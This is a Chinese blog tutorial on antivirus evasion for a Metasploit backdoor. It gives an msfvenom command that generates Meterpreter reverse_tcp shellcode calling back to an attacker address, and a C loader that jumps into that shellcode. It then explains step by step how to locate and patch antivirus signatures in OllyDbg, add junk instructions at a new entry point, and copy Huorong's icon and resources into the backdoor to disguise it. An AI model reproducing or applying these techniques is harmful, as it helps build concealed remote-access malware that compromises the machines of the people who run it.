免杀对抗—特征码修改花指令资源修改加壳保护

news2024/10/25 18:01:12

前言

今天主要是讲这个特征码定位以及这个花指令,资源修改这个东西其实有点投机取巧啦,至于这个加壳之前也讲过了,直接工具搞就行。那么什么是特征码定位呢,众所周知,杀软是通过特征码来检测我们的exe是否是后门的,此时我们就要找到杀软是检测哪里的,或者说是以哪一部分的代码作为判断后门的依据,找到之后我们就去修改它,以此来躲过杀软的检测。花指令就是汇编中的垃圾指令,可有可无的存在,我们可以通过添加花指令来干扰杀软的判断。

实验环境

360、火绒、WD、VT。

特征码修改

定位

msf生成shellcode,CS也行无所谓。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=3333 -f c

值得一说的是,如果你想尽量一次成功的话那么我建议你用下面这个加载器,因为这个加载器和小迪的是一样的,直接照着做就行,至于为啥其它的加载器不建议,下面我会说。

#include <Windows.h>
#include <stdio.h>

#pragma comment(linker,"/section:.data,RWE")

unsigned char shellcode[] = 

int main()
{
	__asm {
		mov eax, offset shellcode
		_emit 0xFF
		_emit 0xE0
	}
}

原生态肯定是会杀的,不用多说。

先找出来它的特征码,我们是直接用VirTest5.0这个工具自动化来搞,或者你用mycll也行,先关闭杀软依次点击1和2。

制作测试文件之后,再点击载入测试文件,把刚刚生成的VirTest.vir这个文件载入。

此时打开杀软,点击定位特征码,会弹出风险警告,我们点击立即处理。

这里选择它推荐的1秒即可,然后点击确认。

此时还回不断弹出警告,知道定位结束。

定位到特征码的位置为00001F33。

我们用C32ASM简单验证一下这个特征码定位是否准确,直接跳转到特征码地址。

然后把这个DF值填充为00。

接着保存一下,此时火绒就不杀了,说明我们的特征码定位是正确的,如果你修改了之后还是报毒,说明定位错了,重新定位几次即可。

修改

修改的话我们用OD来修改,网上有很多的特征码修改方法,比如什么加一减一法、00填充法、指令替换法等等。但这些方法其实都是运气成分居多,就拿这个加一减一法来说,就是把它16进制的值加一,比如DF加一之后变成就是E0,这个不纯扯淡么,这样子改之后能不能运行完全是看运气。所以我们修改还是用这个跳转法,这个是通用的,也是建议大家掌握的一种方法。

OD打开载入我们的exe,然后跳转到我们刚刚的特征码地址,也就是1F33。值得注意的是,我们这里要选offset地址才能正确的跳转,有些OD没有这个选,我这里推荐用吾爱破解版的OD。

跳转到对应的地址00044133后,发现当前的汇编语句是fstsw ax记录一下。

那么具体怎么跳转呢,我们可以找一段空白区域,也就是db 00这种区域,这种呢是属于你怎么修改都不会影响程序的地方。把我们的fstsw ax放到空白区域,那么原本fstsw ax的地址改为jmp+空白区域地址,也就是跳转到空白区域去执行我们的fstsw ax,执行完再jmp回来执行原本的下一句call ebp。

找一段空白区域然后nop填充掉,如果你找不到的话就重新打开一下exe。

修改为我们刚刚说的语句,执行完fstsw ax再跳转回去00044135去执行call ebp。

回到我们00044133这里把原本的fstsw ax语句改为jmp 00041E43,跳转到空白区域去执行fstsw ax。

OK,如果你是这么改的话,那么你就大错特错了,这是第一个坑。如果你细心观察,就会发现把fstsw ax改为jmp xxxxxx之后语句乱了,就是原本下一句是call ebp,变成push 0x10,如上图一样。这是怎么回事呢,首先观察地图的地址,fstsw ax的地址是00044133,而call ebp的地址为00044135,这说明了fstsw ax语句占2个字节。

再看改了之后的,jmp 00041E43地址是00044133,而push 0x10的地址是00044138,这说明jmp 00041E43是占5个字节,把一个2字节的语句改为5字节的语句坑定是会乱的,这是一个原因。

另外就是当我们定位到fstsw ax语句时候,此时我们往上划一下,就会发现call ebp的上一句不再是fstsw ax了,而是push 0xE0DF0FEA。这是为啥呢,因为4130—4135这段地址其实有很多个语句的,只是不展示出来而已,只有你定位跳转才会显示出来。

正确的方法就是把4130-4135这一整段地址都修改,当我们nop填充掉push 0xE0DF0FEA就会发现5个地址都被填充了,而不是一个地址。

修改为跳转语句,此时就会发现语句没有变乱。

那么我们00041E43这个地址应该改为push 0xE0DF0FEA,而不是fstsw ax。

此时我们右键,点击复制到可执行文件,选择所有修改,如果有弹出这个什么无法定位数据啥的。

那我们先保存上面的跳转语句,就是这个。

右键,点击复制到可执行文件,再点击选择,再右键选择保存文件,命名为11.exe。

OK啊,如果你以为这样就行了,那你就是大错特错啦。我们只是保存上面的跳转语句,还没有保存下面的空白区域的执行语句和回跳语句,因为一次只能保存一个地方。

OD打开11.exe,可以发现1E43这个地址啥也没有,我们再修改再保存即可,具体咋修改不说了,注意这里的地址只有前4位变了,后4位是不变的。

改完保存之后火绒是查杀不了的。

能够正常上线。

OK,现在来说一下为啥不建议用别的加载器。主要是两点,一是我试了好几个其它的加载器检测出来的特征码最少都有两个,别说两个了,就是上面的一个特征码都要搞半天了。

然后还有一种情况,就是现在特征码地址是008B4136,可以看到008B4135地址的语句只占两个字节,但是我们jmp语句占5个字节。所以此时我们就得填充更多语句,同时也得跳转更多语句,我就是被这个问题搞烦死了,怎么跳都不对,密码的。

花指令

花指令在汇编里面就是垃圾代码的意思,就是我往源码里面加一下垃圾指令或者可有可无的指令,以此来干扰杀软的判断。

我们首先用LordPE定位出程序入口先,入口为00001287,记录下来。

OD打开也是直接显示入口滴。

然后我们用个小工具生成一些花指令,懒得生成太多了。

找一个空白区间,nop填充掉然后把花指令一条一条写进去,然后在最后再跳回去1287这个入口地址,同时记一下当前第一条花指令的地址1E82。

LordPE修改入口地址为1E82,也就让程序先执行花指令,再调回去原本的入口继续执行。

记得重组一下,不然程序可能运行不了。

但是免杀效果不太好,估计是我花指令加的太少了。

资源修改

这个玩意纯属就是看运气的了,简单来说就是修改图标或者界面风格这些东西,用Restorator打开原生态的看看。

然后我们找一个正常的exe,就找个火绒的吧,拖进去。

同理,把火绒的图标啊,界面风格啥拖到后门exe中。

保存之后可以看到有个类似火绒的exe。

但是呢还是会被火绒查杀出来,配合上前面说的手法效果会更好可能。

总结

特征码修改还是可以的,缺点就是不能做到通杀,只能针对某个杀软来修改,优点就是效果好。这个技术是属于比较老的了,而且过程又麻烦,现在几乎没有什么课会讲到这个技术了,就我所知只有小迪讲。花指令我感觉过时了这个玩意,也可能是我添加的太少了,加几十条可能效果好点,但是我懒。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2223451.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

老外说“奶茶”不叫“milk tea”?!那叫什么?柯桥英语口语学习生活日语培训

奶茶的英文怎么说&#xff1f; 其实&#xff0c;“奶茶”在英文中有多种表达方式&#xff0c;但最常见且准确的应该是“tea with milk”。这种表达方式直接描述了奶茶的本质——茶与牛奶的结合。当然&#xff0c;你也可以用“milky tea”来表达&#xff0c;但相对来说&#xf…

探索自然之美:SpringBoot驱动的安康旅游网站开发

第一章 绪论 1.1 研究现状 时代的发展&#xff0c;我们迎来了数字化信息时代&#xff0c;它正在渐渐的改变着人们的工作、学习以及娱乐方式。计算机网络&#xff0c;Internet扮演着越来越重要的角色&#xff0c;人们已经离不开网络了&#xff0c;大量的图片、文字、视频冲击着我…

基于SpringBoot的酒店管理系统的设计与实现

摘要 酒店管理系统的设计旨在提供快捷高效的住宿资源管理方案&#xff0c;帮助管理员实现对酒店内房间、客户信息、订单的全方位管理&#xff0c;同时为用户提供便捷的预订和查询功能。本系统基于Spring Boot框架&#xff0c;结合前端框架和数据库设计&#xff0c;构建一个用户…

基于双目立体视觉的图像匹配与测距

基于双目立体视觉的图像匹配与测距 Image-matching-and-ranging-based-on-binocular-stereo-vision 摘要 双目立体视觉是计算机视觉范畴的核心之一&#xff0c;它利用双目相机来获得目标物体的图像&#xff0c;经过物体图像处理之后得到目标物体所在场景环境的三维信息&…

邮件系统改造升级,让办公更智能、更高效!

在当今的商业环境中&#xff0c;电子邮件扮演着至关重要的角色&#xff0c;它是企业沟通的桥梁和信息传递的枢纽。然而&#xff0c;随着企业规模的扩大和业务需求的增长&#xff0c;传统的电子邮件系统可能会变得力不从心&#xff0c;无法满足日益增长的沟通需求。因此&#xf…

【C#】WPF 依赖属性,PasswordBox中的Password属性绑定

1. 关于依赖属性 <TextBox x:Name"sourceTBox" /> <TextBlock x:Name"tb" Text"{Binding Text,ElementNamesourceTBox}" />源对象&#xff1a; TextBox目标对象&#xff1a; TextBlock目标属性&#xff1a; TextBlock -> Text …

多个立方体盒子组成

效果&#xff1a; 知识了解&#xff1a; 在同一水平上&#xff0c;盒子经纬度计算&#xff1a;经度有误差&#xff0c;纬度没有误差 纬度计算&#xff1a;lat50/111320 约等于0.000449 经度计算&#xff1a;lon50/111320*cos(纬度) 约等于0.000519 一个立方体&#xff1a; // 添…

微信小程序性能优化 ==== 合理使用 setData 纯数据字段

目录 1. setData 的流程 2. 数据通信 3. 使用建议 3.1 data 应只包括渲染相关的数据 3.2 控制 setData 的频率 3.3 选择合适的 setData 范围 3.4 setData 应只传发生变化的数据 3.5 控制后台态页面的 setData 纯数据字段 组件数据中的纯数据字段 组件属性中的纯数据…

Hadoop-001-本地虚拟机环境搭建

一、安装VMware 官方下载VMware&#xff1a; https://vmware.mdsoft.top/?bd_vid5754305114651491003 二、下载镜像文件 阿里云镜像仓库&#xff1a; https://mirrors.aliyun.com/centos/ 本文档使用 CentOS-7-x86_64-DVD-1810-7.6.iso 搭建虚拟机 三、搭建虚拟机 1、编辑…

vue3 腾讯地图 InfoWindow 弹框

1、vue项目index.html引入地图js 2、页面使用 <script setup lang"ts"> import { useMapStore } from //store;defineOptions({ name: PageMap }); const emits defineEmits([update:area, update:address, update:latitude, update:longitude]); const prop…

【Java】SpringBoot实现MySQL数据库的增删查改

目录 1. 项目介绍 2. 相关代码 2.1 项目配置 2.2 SQL语句 2.3 数据访问层 2.4 业务逻辑层 2.5 Web表现层 3. 结果展示 4. 源码获取 1. 项目介绍 SpringBoot是一个轻量级框架&#xff0c;简化了Spring应用的开发和配置。相比较SSM框架&#xff0c;极大的简化了SSM中XM…

Android Navigation传递复杂参数(自定义)

打开要添加参数的navigation文件 使用Design视图 点击右侧Arguments的添加("")按钮 根据自定义类所继承的序列化接口选择这两项其中的一个 选择或者在搜索框检索你的类&#xff0c;然后点击OK&#xff0c;回到前一界面点击ADD即可 其他的操作就跟基本类型用法一样了

C++中指针类型、引用类型、值类型

定义&#xff1a; 1. 带 * 的声明&#xff1a;指针类型 声明方式&#xff1a;MyClass* obj; 是一个 指针类型&#xff0c;表示 obj 是一个指针&#xff0c;可以指向 MyClass 类型的对象。 指针特点&#xff1a; 指针存储的是对象的地址&#xff0c;可以为空&#xff08;null…

新的Midjourney就是一个增强版的Photoshop,你现在可以轻松的用它换衣服、换发型了

好久没有聊 Midjourney 了&#xff0c;昨晚他们发布了一项引人注目的新功能&#xff1a;AI 图像编辑&#xff0c;一个基于网页的加强版的 Photoshop 呼之欲出&#xff0c;让我大为震撼&#xff0c;也让用户们赞叹不已。 基于现有图像进行参考&#xff0c;进而生成新的图片&…

谈一谈 Netty 的内存管理 —— 且看 Netty 如何实现 Java 版的 Jemalloc

本文基于 Netty 4.1.112.Final 版本进行讨论 在之前的 Netty 系列中&#xff0c;笔者是以 4.1.56.Final 版本为基础和大家讨论的&#xff0c;那么从本文开始&#xff0c;笔者将用最新版本 4.1.112.Final 对 Netty 的相关设计展开解析&#xff0c;之所以这么做的原因是 Netty 的…

学习--四元数介绍

2022年的草稿箱里的一篇 四元数由William Rowan Hamilton发现 定义与复数类似&#xff0c;有三个虚部 q a b i c j d k qabicjdk qabicjdk 其中 i 2 j 2 k 2 i j k − 1 i^2j^2k^2ijk-1 i2j2k2ijk−1 四元数的模长&#xff1a; 四维的长度 加减法&#xff1a; 对应分…

十年编程路,一生踏征途

时光荏苒流逝&#xff0c;白驹匆匆过隙&#xff0c;不知不觉间&#xff0c;我已经在程序开发这条道路上走过了整整十年。从最初的求学&#xff0c;到如今成为一名较为资深的职业开发者&#xff0c;这一路充满了挑战、学习、成长与感动。在这1024程序员节的特殊时刻&#xff0c;…

信息安全工程师(69)数字水印技术与应用

前言 数字水印技术是一种在数字媒体中嵌入特定信息的技术&#xff0c;这些信息可以是版权信息、元数据等。 一、数字水印技术的定义与原理 数字水印技术&#xff08;Digital Watermarking&#xff09;是将一些标识信息&#xff08;即数字水印&#xff09;直接嵌入数字载体&…

发布者Publisher、订阅者Subscriber的编程实现+自定义话题消息编程实现

1.发布者Publisher的编程实现 1.创建功能包 cd ~/catkin_ws/src catkin_create_pkg learning_topic rospy roscpp std_msgs geometry_msgs turtlesim 2.创建发布者代码&#xff08;C&#xff09; ——文件名为velocity_publisher.cp /*************************************…

【Vue】word / excel / ppt / pdf / 视频(mp4,mov) 预览

文件预览 Vue3一. word二. excel三. ppt四. pdf4.1 vue-pdf-embed4.2 iframe 五. 视频六&#xff1a;扩展——kkFileView Vue3 一. word 安装&#xff1a;npm install docx-preview父页面 <template><div><DocPreviewv-if"filePath.includes(docx)"…